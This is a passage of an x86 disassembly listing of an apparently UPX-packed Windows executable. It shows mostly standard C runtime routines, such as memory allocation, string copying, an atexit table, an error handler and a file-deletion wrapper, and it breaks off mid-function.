		mov	[ebp+var_208], ss
		mov	[ebp+var_214], cs
		mov	[ebp+var_238], ds
		mov	[ebp+var_23C], es
		mov	[ebp+var_240], fs
		mov	[ebp+var_244], gs
		pushf
		pop	[ebp+var_210]
		mov	eax, [ebp+4]
		lea	ecx, [ebp+4]
		mov	[ebp+var_2D0], 10001h
		mov	[ebp+var_218], eax
		mov	[ebp+var_20C], ecx
		mov	ecx, [ecx-4]
		mov	[ebp+var_21C], ecx
		mov	[ebp+var_328], 0C0000417h
		mov	[ebp+var_324], 1
		mov	[ebp+var_31C], eax
		call	dword_41D1A8	; IsDebuggerPresent
		push	0
		mov	ebx, eax
		call	dword_41D1AC	; SetUnhandledExceptionFilter
		lea	eax, [ebp+var_2D8]
		push	eax
		call	dword_41D1B0	; UnhandledExceptionFilter
		test	eax, eax
		jnz	short loc_40B236
		test	ebx, ebx
		jnz	short loc_40B236
		push	2
		call	sub_40E0C0
		pop	ecx


loc_40B236:				; CODE XREF: sub_40B12D+FBj
					; sub_40B12D+FFj
		push	0C0000417h
		call	dword_41D214	; GetCurrentProcess
		push	eax
		call	dword_41D1B4	; TerminateProcess
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_40B12D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B255	proc near		; CODE XREF: sub_40AC49+24p
					; sub_40B27B+7p ...
		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	dword_42E3DC
		call	sub_40E143
		pop	ecx
		test	eax, eax
		jz	short loc_40B26D
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_40B26D:				; CODE XREF: sub_40B255+13j
		push	2
		call	sub_40E0C0
		pop	ecx
		pop	ebp
		jmp	sub_40B12D
sub_40B255	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B27B	proc near		; CODE XREF: sub_4051B7+3Dp
					; sub_4052D2:loc_4052DCp ...
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40B255
		add	esp, 14h
		retn
sub_40B27B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B28B	proc near		; CODE XREF: sub_404C2B+28p
					; sub_40A1BD+9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		jbe	short loc_40B2C2
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, [ebp+arg_8]
		jnb	short loc_40B2C2
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 0Ch
		call	sub_40B255
		add	esp, 14h
		xor	eax, eax
		jmp	short loc_40B303
; ---------------------------------------------------------------------------


loc_40B2C2:				; CODE XREF: sub_40B28B+Dj
					; sub_40B28B+19j
		imul	ecx, [ebp+arg_8]
		push	esi
		push	edi
		mov	esi, ecx
		cmp	[ebp+arg_0], ebx
		jz	short loc_40B2DA
		push	[ebp+arg_0]
		call	sub_40E665
		pop	ecx
		mov	ebx, eax


loc_40B2DA:				; CODE XREF: sub_40B28B+42j
		push	esi
		push	[ebp+arg_0]
		call	sub_40B8A1
		mov	edi, eax
		pop	ecx
		pop	ecx
		test	edi, edi
		jz	short loc_40B2FF
		cmp	ebx, esi
		jnb	short loc_40B2FF
		sub	esi, ebx
		push	esi
		push	0
		add	ebx, edi
		push	ebx
		call	sub_40BD40
		add	esp, 0Ch


loc_40B2FF:				; CODE XREF: sub_40B28B+5Ej
					; sub_40B28B+62j
		mov	eax, edi
		pop	edi
		pop	esi


loc_40B303:				; CODE XREF: sub_40B28B+35j
		pop	ebx
		pop	ebp
		retn
sub_40B28B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B306	proc near		; CODE XREF: sub_4019F2+7Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset dword_426858
		call	__SEH_prolog4
		xor	eax, eax
		mov	[ebp+var_20], eax
		mov	[ebp+ms_exc.disabled], eax
		mov	[ebp+var_1C], eax


loc_40B31D:				; CODE XREF: sub_40B306+30j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_8]
		jge	short loc_40B338
		mov	esi, [ebp+arg_0]
		mov	ecx, esi
		call	[ebp+arg_C]
		add	esi, [ebp+arg_4]
		mov	[ebp+arg_0], esi
		inc	[ebp+var_1C]
		jmp	short loc_40B31D
; ---------------------------------------------------------------------------


loc_40B338:				; CODE XREF: sub_40B306+1Dj
		mov	[ebp+var_20], 1
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40B353
		call	__SEH_epilog4
		retn	14h
sub_40B306	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B353	proc near		; CODE XREF: sub_40B306+40p
					; DATA XREF: UPX0:00426870o
		cmp	dword ptr [ebp-20h], 0
		jnz	short locret_40B36A
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B05D

locret_40B36A:				; CODE XREF: sub_40B353+4j
		retn
sub_40B353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B36B	proc near		; CODE XREF: sub_401B6E+35p
					; sub_40500B+1AFFp ...
		mov	edi, edi
		push	ebp
		mov	ebp, esp
		pop	ebp
		jmp	sub_40AC11
sub_40B36B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B376	proc near		; CODE XREF: sub_4010AC+1Ep
					; sub_401125+10p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_40B38A


loc_40B386:				; CODE XREF: sub_40B376+4Dj
		xor	eax, eax
		jmp	short loc_40B3EF
; ---------------------------------------------------------------------------


loc_40B38A:				; CODE XREF: sub_40B376+Ej
		cmp	[ebp+arg_0], edi
		jnz	short loc_40B3AA


loc_40B38F:				; CODE XREF: sub_40B376+61j
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi


loc_40B399:				; CODE XREF: sub_40B376+74j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40B3EF
; ---------------------------------------------------------------------------


loc_40B3AA:				; CODE XREF: sub_40B376+17j
		cmp	[ebp+arg_8], edi
		jz	short loc_40B3C5
		cmp	[ebp+arg_4], esi
		jb	short loc_40B3C5
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_40E710
		add	esp, 0Ch
		jmp	short loc_40B386
; ---------------------------------------------------------------------------


loc_40B3C5:				; CODE XREF: sub_40B376+37j
					; sub_40B376+3Cj
		push	[ebp+arg_4]
		push	edi
		push	[ebp+arg_0]
		call	sub_40BD40
		add	esp, 0Ch
		cmp	[ebp+arg_8], edi
		jz	short loc_40B38F
		cmp	[ebp+arg_4], esi
		jnb	short loc_40B3EC
		call	sub_40C862
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40B399
; ---------------------------------------------------------------------------


loc_40B3EC:				; CODE XREF: sub_40B376+66j
		push	16h
		pop	eax


loc_40B3EF:				; CODE XREF: sub_40B376+12j
					; sub_40B376+32j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40B376	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3F3	proc near		; CODE XREF: sub_40B403+8p
		mov	edi, edi
		push	ecx
		mov	dword ptr [ecx], offset	off_41D588
		call	sub_40EA75
		pop	ecx
		retn
sub_40B3F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B403	proc near		; DATA XREF: UPX0:off_41D588o

arg_0		= byte ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		call	sub_40B3F3
		test	[ebp+arg_0], 1
		jz	short loc_40B41D
		push	esi
		call	sub_40AC11
		pop	ecx


loc_40B41D:				; CODE XREF: sub_40B403+11j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	4
sub_40B403	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B424	proc near		; CODE XREF: sub_410A1C+12Bp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		add	ecx, 9
		push	ecx
		add	eax, 9
		push	eax
		call	sub_40EAF0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ebp
		retn	4
sub_40B424	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B444	proc near		; CODE XREF: sub_40B45F+3Dp
		mov	edi, edi
		push	esi
		push	1
		push	offset off_42A02C
		mov	esi, ecx
		call	sub_40AD0A
		mov	dword ptr [esi], offset	off_41D4DC
		mov	eax, esi
		pop	esi
		retn
sub_40B444	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B45F	proc near		; CODE XREF: sub_401652+24p
					; sub_403FBF+29p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		jmp	short loc_40B476
; ---------------------------------------------------------------------------


loc_40B469:				; CODE XREF: sub_40B45F+22j
		push	[ebp+arg_0]
		call	sub_40DFCB
		pop	ecx
		test	eax, eax
		jz	short loc_40B485


loc_40B476:				; CODE XREF: sub_40B45F+8j
		push	[ebp+arg_0]
		call	sub_40AEA5
		pop	ecx
		test	eax, eax
		jz	short loc_40B469
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B485:				; CODE XREF: sub_40B45F+15j
		test	byte ptr dword_42E3EC, 1
		mov	esi, offset dword_42E3E0
		jnz	short loc_40B4AC
		or	dword_42E3EC, 1
		mov	ecx, esi
		call	sub_40B444
		push	offset loc_41C8CB
		call	sub_40B770
		pop	ecx


loc_40B4AC:				; CODE XREF: sub_40B45F+32j
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_407019
		push	offset dword_426E80
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_40B45F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4C4	proc near		; CODE XREF: sub_417173+48p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dx, [ebp+arg_4]
		jmp	short loc_40B4D9
; ---------------------------------------------------------------------------


loc_40B4D2:				; CODE XREF: sub_40B4C4+1Bj
		cmp	cx, dx
		jz	short loc_40B4E8
		inc	eax
		inc	eax


loc_40B4D9:				; CODE XREF: sub_40B4C4+Cj
		movzx	ecx, word ptr [eax]
		test	cx, cx
		jnz	short loc_40B4D2
		cmp	[eax], dx
		jz	short loc_40B4E8
		xor	eax, eax


loc_40B4E8:				; CODE XREF: sub_40B4C4+11j
					; sub_40B4C4+20j
		pop	ebp
		retn
sub_40B4C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4EA	proc near		; CODE XREF: sub_4080FF+103p
					; sub_4083DE+417p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_C], edi
		jnz	short loc_40B50C
		cmp	esi, edi
		jnz	short loc_40B510
		cmp	[ebp+arg_4], edi
		jnz	short loc_40B517


loc_40B505:				; CODE XREF: sub_40B4EA+52j
					; sub_40B4EA+A1j
		xor	eax, eax


loc_40B507:				; CODE XREF: sub_40B4EA+46j
					; sub_40B4EA+BAj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B50C:				; CODE XREF: sub_40B4EA+10j
		cmp	esi, edi
		jz	short loc_40B517


loc_40B510:				; CODE XREF: sub_40B4EA+14j
		mov	ebx, [ebp+arg_4]
		cmp	ebx, edi
		ja	short loc_40B532


loc_40B517:				; CODE XREF: sub_40B4EA+19j
					; sub_40B4EA+24j ...
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi


loc_40B521:				; CODE XREF: sub_40B4EA+CEj
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40B507
; ---------------------------------------------------------------------------


loc_40B532:				; CODE XREF: sub_40B4EA+2Bj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40B53E
		xor	eax, eax
		mov	[esi], ax
		jmp	short loc_40B505
; ---------------------------------------------------------------------------


loc_40B53E:				; CODE XREF: sub_40B4EA+4Bj
		mov	edx, [ebp+arg_8]
		cmp	edx, edi
		jnz	short loc_40B54C
		xor	eax, eax
		mov	[esi], ax
		jmp	short loc_40B517
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4EA+59j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		mov	eax, esi
		jnz	short loc_40B568


loc_40B554:				; CODE XREF: sub_40B4EA+7Aj
		movzx	ecx, word ptr [edx]
		mov	[eax], cx
		inc	eax
		inc	eax
		inc	edx
		inc	edx
		cmp	cx, di
		jz	short loc_40B589
		dec	ebx
		jnz	short loc_40B554
		jmp	short loc_40B589
; ---------------------------------------------------------------------------


loc_40B568:				; CODE XREF: sub_40B4EA+68j
					; sub_40B4EA+93j
		movzx	ecx, word ptr [edx]
		mov	[eax], cx
		inc	eax
		inc	eax
		inc	edx
		inc	edx
		cmp	cx, di
		jz	short loc_40B57F
		dec	ebx
		jz	short loc_40B57F
		dec	[ebp+arg_C]
		jnz	short loc_40B568


loc_40B57F:				; CODE XREF: sub_40B4EA+8Bj
					; sub_40B4EA+8Ej
		cmp	[ebp+arg_C], edi
		jnz	short loc_40B589
		xor	ecx, ecx
		mov	[eax], cx


loc_40B589:				; CODE XREF: sub_40B4EA+77j
					; sub_40B4EA+7Cj ...
		cmp	ebx, edi
		jnz	loc_40B505
		xor	eax, eax
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_40B5A9
		mov	ecx, [ebp+arg_4]
		push	50h
		mov	[esi+ecx*2-2], ax
		pop	eax
		jmp	loc_40B507
; ---------------------------------------------------------------------------


loc_40B5A9:				; CODE XREF: sub_40B4EA+ADj
		mov	[esi], ax
		call	sub_40C862
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	loc_40B521
sub_40B4EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5BD	proc near		; CODE XREF: sub_408E29+12p
					; sub_40A5F1+55p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EB78
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_40B5F8
		cmp	[ebp+var_4], eax
		jz	short loc_40B5F8
		call	sub_40C862
		test	eax, eax
		jz	short loc_40B5F8
		call	sub_40C862
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx


loc_40B5F8:				; CODE XREF: sub_40B5BD+21j
					; sub_40B5BD+26j ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B5BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5FD	proc near		; CODE XREF: sub_408FB6+1A1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		jnz	short loc_40B629


loc_40B60C:				; CODE XREF: sub_40B5FD+2Ej
					; sub_40B5FD+35j ...
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B629:				; CODE XREF: sub_40B5FD+Dj
		cmp	[ecx], bl
		jz	short loc_40B60C
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		jz	short loc_40B60C
		cmp	[eax], bl
		jz	short loc_40B60C
		push	ebx
		lea	eax, [ebp+arg_4]
		push	eax
		push	ecx
		call	sub_40ED0F
		add	esp, 0Ch


loc_40B646:				; CODE XREF: sub_40B5FD+2Aj
		pop	ebx
		pop	ebp
		retn
sub_40B5FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B649	proc near		; CODE XREF: sub_40B734+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	dword_43026C
		call	sub_40E143
		push	dword_430268
		mov	edi, eax
		mov	[ebp+var_4], edi
		call	sub_40E143
		mov	esi, eax
		pop	ecx
		pop	ecx
		cmp	esi, edi
		jb	loc_40B6FC
		mov	ebx, esi
		sub	ebx, edi
		lea	eax, [ebx+4]
		cmp	eax, 4
		jb	short loc_40B6FC
		push	edi
		call	sub_40E665
		mov	edi, eax
		lea	eax, [ebx+4]
		pop	ecx
		cmp	edi, eax
		jnb	short loc_40B6DD
		mov	eax, 800h
		cmp	edi, eax
		jnb	short loc_40B6A0
		mov	eax, edi


loc_40B6A0:				; CODE XREF: sub_40B649+53j
		add	eax, edi
		cmp	eax, edi
		jb	short loc_40B6B5
		push	eax
		push	[ebp+var_4]
		call	sub_40EFBB
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40B6CB


loc_40B6B5:				; CODE XREF: sub_40B649+5Bj
		lea	eax, [edi+10h]
		cmp	eax, edi
		jb	short loc_40B6FC
		push	eax
		push	[ebp+var_4]
		call	sub_40EFBB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40B6FC


loc_40B6CB:				; CODE XREF: sub_40B649+6Aj
		sar	ebx, 2
		push	eax
		lea	esi, [eax+ebx*4]
		call	sub_40E0C8
		pop	ecx
		mov	dword_43026C, eax


loc_40B6DD:				; CODE XREF: sub_40B649+4Aj
		push	[ebp+arg_0]
		call	sub_40E0C8
		mov	[esi], eax
		add	esi, 4
		push	esi
		call	sub_40E0C8
		pop	ecx
		mov	dword_430268, eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		jmp	short loc_40B6FE
; ---------------------------------------------------------------------------


loc_40B6FC:				; CODE XREF: sub_40B649+2Aj
					; sub_40B649+3Aj ...
		xor	eax, eax


loc_40B6FE:				; CODE XREF: sub_40B649+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B649	endp

; ---------------------------------------------------------------------------
byte_40B703	db 8Bh,	0FFh		; DATA XREF: UPX0:0041D3FCo
; ---------------------------------------------------------------------------
		push	esi
		push	4
		push	20h
		call	sub_40EF6F
		mov	esi, eax
		push	esi
		call	sub_40E0C8
		add	esp, 0Ch
		mov	dword_43026C, eax
		mov	dword_430268, eax
		test	esi, esi
		jnz	short loc_40B72D
		push	18h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B72D:				; CODE XREF: UPX0:0040B726j
		and	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B734	proc near		; CODE XREF: sub_40B770+8p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_426878
		call	__SEH_prolog4
		call	sub_40DB3C
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_0]
		call	sub_40B649
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40B76A
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40B734	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B76A	proc near		; CODE XREF: sub_40B734+28p
					; DATA XREF: UPX0:00426890o
		call	sub_40DB45
		retn
sub_40B76A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B770	proc near		; CODE XREF: sub_40B45F+47p
					; sub_40DB8F+46p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_40B734
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		pop	ebp
		retn
sub_40B770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B787	proc near		; CODE XREF: sub_417173+2Cp
					; sub_4173E1+80p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	word ptr [ebx],	0
		push	edi
		mov	edi, eax
		jz	short loc_40B7E0
		movzx	ecx, word ptr [eax]
		test	cx, cx
		jz	short loc_40B7DE
		movzx	edx, cx
		sub	eax, ebx


loc_40B7A9:				; CODE XREF: sub_40B787+55j
		mov	ecx, [ebp+arg_4]
		test	dx, dx
		jz	short loc_40B7CC


loc_40B7B1:				; CODE XREF: sub_40B787+43j
		movzx	edx, word ptr [ecx]
		test	dx, dx
		jz	short loc_40B7E4
		movzx	ebx, word ptr [eax+ecx]
		movzx	edx, dx
		sub	ebx, edx
		jnz	short loc_40B7CC
		inc	ecx
		inc	ecx
		cmp	[eax+ecx], bx
		jnz	short loc_40B7B1


loc_40B7CC:				; CODE XREF: sub_40B787+28j
					; sub_40B787+3Bj
		cmp	word ptr [ecx],	0
		jz	short loc_40B7E4
		inc	edi
		inc	edi
		movzx	edx, word ptr [edi]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_40B7A9


loc_40B7DE:				; CODE XREF: sub_40B787+1Bj
		xor	eax, eax


loc_40B7E0:				; CODE XREF: sub_40B787+13j
					; sub_40B787+5Fj
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B7E4:				; CODE XREF: sub_40B787+30j
					; sub_40B787+49j
		mov	eax, edi
		jmp	short loc_40B7E0
sub_40B787	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7E8	proc near		; CODE XREF: sub_40B83C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_40B7FE
		push	2Dh
		pop	edx
		mov	[ecx], dx
		add	ecx, 2
		neg	eax


loc_40B7FE:				; CODE XREF: sub_40B7E8+9j
		push	esi
		mov	esi, ecx


loc_40B801:				; CODE XREF: sub_40B7E8+32j
		xor	edx, edx
		div	[ebp+arg_0]
		cmp	edx, 9
		jbe	short loc_40B810
		add	edx, 57h
		jmp	short loc_40B813
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: sub_40B7E8+21j
		add	edx, 30h


loc_40B813:				; CODE XREF: sub_40B7E8+26j
		mov	[ecx], dx
		inc	ecx
		inc	ecx
		test	eax, eax
		ja	short loc_40B801
		xor	eax, eax
		mov	[ecx], ax
		dec	ecx
		dec	ecx


loc_40B823:				; CODE XREF: sub_40B7E8+4Dj
		mov	dx, [esi]
		movzx	eax, word ptr [ecx]
		mov	[ecx], dx
		dec	ecx
		mov	[esi], ax
		dec	ecx
		inc	esi
		inc	esi
		cmp	esi, ecx
		jb	short loc_40B823
		pop	esi
		pop	ebp
		retn	8
sub_40B7E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B83C	proc near		; CODE XREF: sub_40971E+19p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		mov	eax, [ebp+arg_0]
		jnz	short loc_40B854
		test	eax, eax
		jge	short loc_40B854
		push	1
		push	0Ah
		jmp	short loc_40B859
; ---------------------------------------------------------------------------


loc_40B854:				; CODE XREF: sub_40B83C+Cj
					; sub_40B83C+10j
		push	0
		push	[ebp+arg_8]


loc_40B859:				; CODE XREF: sub_40B83C+16j
		mov	ecx, [ebp+arg_4]
		call	sub_40B7E8
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_40B83C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B866	proc near		; CODE XREF: sub_40B896+6j

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41D1A4	; DeleteFileA
		test	eax, eax
		jnz	short loc_40B880
		call	dword_41D1D8	; RtlGetLastWin32Error
		jmp	short loc_40B882
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: sub_40B866+10j
		xor	eax, eax


loc_40B882:				; CODE XREF: sub_40B866+18j
		test	eax, eax
		jz	short loc_40B892
		push	eax
		call	sub_40C888
		pop	ecx
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B892:				; CODE XREF: sub_40B866+1Ej
		xor	eax, eax
		pop	ebp
		retn
sub_40B866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B896	proc near		; CODE XREF: sub_408FB6+84p
		mov	edi, edi
		push	ebp
		mov	ebp, esp
		pop	ebp
		jmp	sub_40B866
sub_40B896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8A1	proc near		; CODE XREF: sub_40B28B+53p
					; sub_40EFBB+Fp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0040B9EE SIZE 000000CE BYTES

		push	10h
		push	offset dword_426898
		call	__SEH_prolog4
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_40B8C2
		push	[ebp+arg_4]
		call	sub_40AEA5
		pop	ecx
		jmp	loc_40BA8E
; ---------------------------------------------------------------------------


loc_40B8C2:				; CODE XREF: sub_40B8A1+11j
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_40B8D5
		push	ebx
		call	sub_40ADC8
		pop	ecx
		jmp	loc_40BA8C
; ---------------------------------------------------------------------------


loc_40B8D5:				; CODE XREF: sub_40B8A1+26j
		cmp	dword_430290, 3
		jnz	loc_40BA75


loc_40B8E2:				; CODE XREF: sub_40B8A1+169j
		xor	edi, edi
		mov	[ebp+var_1C], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_40BA7A
		push	4
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_40CFDC
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	loc_40B9AB
		cmp	esi, dword_430280
		ja	short loc_40B95E
		push	esi
		push	ebx
		push	eax
		call	sub_40D4DA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B929
		mov	[ebp+var_1C], ebx
		jmp	short loc_40B95E
; ---------------------------------------------------------------------------


loc_40B929:				; CODE XREF: sub_40B8A1+81j
		push	esi
		call	sub_40D7BB
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_40B95E
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40B941
		mov	eax, esi


loc_40B941:				; CODE XREF: sub_40B8A1+9Cj
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_40E710
		push	ebx
		call	sub_40CFDC
		mov	[ebp+var_20], eax
		push	ebx
		push	eax
		call	sub_40D00C
		add	esp, 18h


loc_40B95E:				; CODE XREF: sub_40B8A1+72j
					; sub_40B8A1+86j ...
		cmp	[ebp+var_1C], edi
		jnz	short loc_40B9AB
		cmp	esi, edi
		jnz	short loc_40B96D
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi


loc_40B96D:				; CODE XREF: sub_40B8A1+C4j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	dword_42E724
		call	dword_41D0D4	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_40B9AB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40B995
		mov	eax, esi


loc_40B995:				; CODE XREF: sub_40B8A1+F0j
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_40E710
		push	ebx
